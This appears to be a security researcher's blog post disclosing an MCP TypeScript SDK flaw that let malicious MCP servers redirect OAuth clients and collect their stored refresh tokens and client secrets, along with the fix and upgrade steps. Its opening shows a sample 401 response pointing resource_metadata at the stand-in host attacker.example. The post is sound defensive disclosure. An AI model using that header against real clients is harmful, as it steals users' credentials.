Skip to content
back to blog

CVE-2026-104850: The MCP TypeScript SDK Sent OAuth Credentials Wherever the Server Pointed

5 min read

#security #cve #mcp #oauth #disclosure


HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer resource_metadata="https://attacker.example/prm"

That one header was enough. An MCP client built on @modelcontextprotocol/sdk 1.12.0 to 1.30.1 would follow it to an authorization server the MCP server picked. Then it sent that server the refresh_token and client_secret saved from an earlier sign-in with a real one. No user interaction.

This is CVE-2026-104850 (GHSA-6qxp-vccf-f47h), High, CVSS 3.1 7.5. I reported it through GitHub private vulnerability reporting on 17 April 2026. Six other researchers reported it separately, and the maintainers consolidated all seven reports into one advisory. It is my second CVE in the MCP project, after CVE-2026-44429 on the MCP Registry.

What breaks

MCP authorization is OAuth with discovery. The client does not know the authorization server in advance; it learns it from the MCP server, in three steps:

  1. The MCP server answers 401 with a WWW-Authenticate header that names a Protected Resource Metadata document (resource_metadata, RFC 9728).
  2. That document lists authorization_servers. The client takes the first one.
  3. The client fetches that server's metadata and uses its token_endpoint for every token request.

In the affected versions every URL in that chain came from the MCP server. Nothing tied the client's stored credentials to the authorization server that issued them. The URL checks were syntactic: new URL() on the resource_metadata value, and a SafeUrlSchema that blocked javascript:, data: and vbscript: and nothing else.

So the token request went wherever step 3 said:

// src/client/auth.ts, @modelcontextprotocol/sdk 1.30.1
const tokenUrl = metadata?.token_endpoint
  ? new URL(metadata.token_endpoint)
  : new URL('/token', authorizationServerUrl);

What lands at the attacker's token_endpoint, per the advisory:

  • the refresh_token and client_secret stored from an earlier sign-in
  • the client_secret or signed assertion configured on a bundled provider (ClientCredentialsProvider, PrivateKeyJwtProvider and friends)

Who was exposed

An application was affected if two things held. It used the SDK's OAuth client over HTTP: an authProvider on a transport, the withOAuth() middleware, or direct calls to auth() or fetchToken(). And it could connect to an MCP server it did not fully trust while holding credentials for a real authorization server. MCP servers built with the SDK and stdio clients were not affected.

That second condition is the honest limit on the score. The attack needs a malicious or compromised MCP server. But "connect to servers you don't fully trust" is exactly what general-purpose MCP clients are built to do: agent hosts, IDE plugins, anything with an "add server" button.

The fix

Maintainer @maxisbey shipped the fix on 28 September 2026 in two PRs, released the same day: PR #2888 on the v1.x line as @modelcontextprotocol/sdk 1.31.0, and PR #2887 on 2.x as @modelcontextprotocol/client 2.2.0. On 2.x the binding first arrived with the MCP 2026-07-28 spec work in PR #2286, which is why 2.0.0 to 2.1.0 are affected only in specific cases; #2887 completed it.

The core change: credentials now remember who issued them. The client records the authorization server as issuer on saved tokens and client information. It refuses to send them anywhere else. If the server points at a different authorization server, the user signs in again or the call throws AuthorizationServerMismatchError. The MCP specification asks for the same thing in its client registration section: client credentials are keyed by issuer and never reused with another authorization server.

Two smaller changes in #2887 matter as much:

  • OAuthTokensSchema and OAuthClientInformationSchema used to strip issuer on parse, so the binding was lost on every read from storage. They keep it now.
  • Creating the bundled providers without expectedIssuer is deprecated and warns.

Upgrading is not enough on its own

The advisory is direct about this, and it is the part most likely to be missed. After upgrading you still need to act if:

  • You use a bundled provider. Pass expectedIssuer: 'https://auth.example.com'. Without it, it still follows whichever authorization server the MCP server names.
  • You stored credentials before upgrading. Tokens saved by 1.x before 1.31.0 have no issuer. Add one, or clear them so users sign in again.
  • You wrote your own OAuthClientProvider. Save exactly what saveTokens() and saveClientInformation() receive, issuer included.

And if an affected client may already have talked to an untrusted MCP server: rotate the client secret or signing key and revoke its tokens.

The fix also has stated limits. A brand-new interactive sign-in still goes to the authorization server the MCP server names, so only complete sign-ins for servers you trust. Direct calls to refreshAuthorization() and exchangeAuthorization(), and 2.x with skipIssuerMetadataValidation: true, are outside it.

Affected surface

  • Packages: @modelcontextprotocol/sdk >= 1.12.0, < 1.31.0 · @modelcontextprotocol/client >= 2.0.0, < 2.2.0
  • Patched: 1.31.0 · 2.2.0
  • Fix: PR #2888 (v1.x, commit 51ad4f0) · PR #2887 (2.x, commit edd12e2)
  • CWE: CWE-345, CWE-522

Disclosure timeline

  • 2026-04-17 — Report submitted via GitHub private vulnerability reporting
  • 2026-09-28 — Fixes merged (PR #2888 for v1.x, PR #2887 for 2.x); 1.31.0 and 2.2.0 released
  • 2026-09-30 — Repository advisory GHSA-6qxp-vccf-f47h published
  • 2026-10-06 — Listed in the GitHub Advisory Database as CVE-2026-104850

Seven separate reports were consolidated into this advisory, credited to Aviral2642, AlexMelanFromRingo, Gal3m, Igfray, OriginalKazdov, lwebmedia and me. Thanks to @maxisbey for a fix that goes past the reported path and closes the storage round-trip too.

References

More on building against MCP: the 64-character tool name limit.